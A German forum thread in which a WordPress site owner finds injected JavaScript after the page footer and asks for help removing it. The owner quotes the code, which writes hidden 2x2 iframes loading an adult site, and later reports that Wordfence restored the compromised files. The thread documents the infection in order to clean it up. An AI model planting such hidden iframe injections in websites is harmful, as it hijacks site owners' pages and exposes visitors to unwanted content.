Code injection im Frontend nach dem Footer - Quelle finden

Hallo zusammen,

mir ist gestern aufgefallen, dass auf meiner selbstgehosteten WP-Seite nach dem Footer plötzlich Porno-Werbung auftaucht. Allerdings nur bei Nutzung des mobilen Safari, Opera und Firefox zeigen es nicht an.

Im Quelltext der Seite taucht am Ende folgendes javascript auf:

Zitat

...</body>
</html><script type="text/javascript" language="javascript" >document.write('<iframe src="http://mass-orgy.com" frameborder="no" align="center" height="2" width="2"></iframe>');</script><script type="text/javascript" language="javascript" >document.write('<iframe src="http://mass-orgy.com" frameborder="no" align="center" height="2" width="2"></iframe>');</script>

Damit habe ich den Übeltäter also entdeckt. Das Problem ist nur, dass ich nicht weiß, wo dieser Code in die Seite geschrieben wird. Ein Wechsel des Templates behob den Fehler nicht, also kann es nicht dort im Code stehen.

Könnt ihr mir helfen, dieses Script von der Seite zu bekommen?

Danke!

Hey,

danke für die Hilfe. Alle Plugins scheinen sauber zu sein, habe ich getestet. Das Theme ja auch, schließlich hat der Wechsel des selbigen ja auch keine Änderung bewirkt. Bleibt eigentlich doch nur noch die Datenbank, oder? Gibts ein gutes Tool um alle Dateien und die DB nach Begriffen zu durchsuchen (hier also z.B. die verlinkte URL)?

Keine Sorge, Site ging sofort in Wartung als ich es gesehen habe. Merkwürdig aber auch, dass das Script nur im mobilen Abruf über Safari auf iPad und iPhone auftaucht. Auf dem PC steht es zwar im Quellcode wird aber augenscheinlich rausgeblockt.

Problem gelöst. Wordfence hat ganze Arbeit geleistet und die kompromittierten Dateien gefunden und wieder in den Orginalzustand versetzt!

Danke für eure Hilfe!